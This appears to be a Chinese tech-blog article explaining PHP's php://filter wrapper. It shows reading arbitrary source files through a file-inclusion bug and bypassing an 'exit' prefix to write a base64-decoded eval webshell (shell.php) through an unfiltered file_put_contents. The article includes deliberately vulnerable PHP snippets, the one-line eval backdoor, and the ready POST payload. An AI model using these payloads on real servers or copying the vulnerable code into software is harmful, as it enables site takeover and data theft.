当前位置:首页 > CN2资讯 > 正文内容

php://filter/php array,filter

21小时前CN2资讯


简介

​​php://filter​​ 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字​​filter​​可以很容易想到这个协议可以用来过滤一些东西。

使用不同的参数可以达到不同的目的和效果:

名称

描述

备注

resource=<要过滤的数据流>

指定了你要筛选过滤的数据流。

必选

read=<读链的筛选列表>

可以设定一个或多个过滤器名称,以管道符(|)分隔。

可选

write=<写链的筛选列表>

可以设定一个或多个过滤器名称,以管道符(|)分隔。

可选

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

举例1

test.php

<?php
echo file_get_contents($_GET['file']);
?>

one.php

<?php @eval($_POST['cmd']);?>http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=one.php


base64解码之后,就是one.php的代码。

还可以都改为大写:

http://localhost/test.php?file=php://filter/read=convert.base64-encode|string.toupper/resource=one.php


再rot13加密

http://localhost/test.php?file=php://filter/read=convert.base64-encode|string.toupper|string.rot13/resource=one.php

// CQ9JNUNTDTI2LJJBWS9DG1AHJLQWOJDAKFX7CM4=

举例2

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

这里的​​$content​​​在开头增加了​​exit​​​,使得我们即使可以成功写入一句话,也无法执行。
我们通过​​​php://filter​​巧妙绕过这里的限制

  • 对我们想要写入的一句话进行base64encode
  • ​​php://filter/read=convert.base64-decode​​​进行解码
    那么​​​<?php exit;?>​​这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell
  • txt=PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=&filename=php://filter/write=convert.base64-decode/resource=shell.php


      你可能想看:

      扫描二维码推送至手机访问。

      版权声明:本文由皇冠云发布,如需转载请注明出处。

      本文链接:https://www.idchg.com/info/26224.html

      分享给朋友:
      返回列表

      上一篇:PHP Scanner

      下一篇:php多态

      “php://filter/php array,filter” 的相关文章